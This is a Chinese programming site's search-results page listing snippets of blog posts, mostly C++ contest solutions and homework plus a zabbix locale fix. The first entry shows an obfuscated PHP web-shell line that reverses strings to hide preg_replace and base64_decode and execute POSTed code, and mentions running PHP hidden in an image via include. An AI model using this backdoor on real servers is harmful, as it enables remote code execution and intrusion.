码迷,mamicode.com
首页 >  
搜索关键字:include    ( 84546个结果
php 运行客户提交代码(攻击)和运行图片中的代码
1、$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb);2、3、运行图片中的PHP代码,include 1.jpg;
分类:Web程序   时间:2015-03-06 20:34:57    阅读次数:153
课堂作业
思路:该题目要需要用随机数,所以要用rand函数产生1-100随机数,在产生随机数1-4来表示加减乘除,最后用for循环执行30次。代码:#include#includeusing namespace std;void main(){ int i,j,h,p; for(p=0;p<30;p++) {...
分类:其他好文   时间:2015-03-06 20:29:38    阅读次数:160
【HDOJ】【3506】Monkey Party
DP/四边形不等式 裸题环形石子合并…… 拆环为链即可 1 //HDOJ 3506 2 #include 3 #include 4 #include 5 #include 6 #include 7 #include 8 #include 9 #define rep(i,n) for(int i=.....
分类:其他好文   时间:2015-03-06 20:29:09    阅读次数:143
zabbix错误和解决办法
#错误"Youarenotabletochoosesomeofthelanguages,becauselocalesforthemarenotinstalledonthewebserver."解决办法:原因是找不到语言包$sudodpkg-reconfigurelocales#查看系统已经安装的语言包$sudovim/usr/share/zabbix/include/locales.inc.php#找到源码文件在文件中找到函数"..
分类:其他好文   时间:2015-03-06 19:17:44    阅读次数:945
USACO--1.2Palindromic Squares
水题,任意进制转换+回文判断 头脑不太清晰,代码写的很乱。。。。。代码如下:/* ID: 15674811 LANG: C++ TASK: palsquare */#include #include #include #include using namespace std;ofstream fout("palsquare.o...
分类:其他好文   时间:2015-03-06 19:14:53    阅读次数:134
BZOJ 1409 Password 矩阵乘法+线性筛
题目大意:求p^F[n] mod q 其中F是斐波那契数列,p是质数,q 由于pq互质因此可以套用欧拉定理 然后就是矩乘求斐波那契的事情了- - 垃圾题卡O(√q) 求Phi的时候要枚举质数 不能一个一个枚举 #include #include #include #include using namespace std; const long long empty[2][2]={{...
分类:其他好文   时间:2015-03-06 19:12:26    阅读次数:211
【c++程序】任意给两个日期,计算相差多少天和各自星期几
#include using namespace std; struct Date { int y;//year int m;//month int d;//day in month }; bool isLeap(int y)//判断是否是闰年 { return y%4==0&&y%100!=0||y%400==0;//真返回为1,假为0 } int daysOfMonth(int y,i...
分类:编程语言   时间:2015-03-06 19:12:15    阅读次数:193
随机数
#include #include #include int main() {     int a,b,c,t;     srand((int )time(0));     a=rand();     b=rand();     c=rand();     printf("%d%d%d",a,b,c); return 0; }...
分类:其他好文   时间:2015-03-06 19:10:29    阅读次数:125
字符转换为数字,以|分割
#include #include #define INT_MAX ((1<<31)-1) #define INT_MIN (1<='0'&&x<='9')) int getNum(char* s, int begin, int end) { int...
分类:其他好文   时间:2015-03-06 19:09:26    阅读次数:136
hdu1394Minimum Inversion Number树状数组求逆序对水题
//ans[i]=ans[i-1]+(n+1)-2*num[i] //num[i]为输入时的数据 //ans[i]为m=i时的逆序数 //用树状数组求ans[0]的逆序对 #include #include #include using namespace std; const int maxn=5010; int num[maxn]; int tree[maxn]; int...
分类:编程语言   时间:2015-03-06 19:07:36    阅读次数:165
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!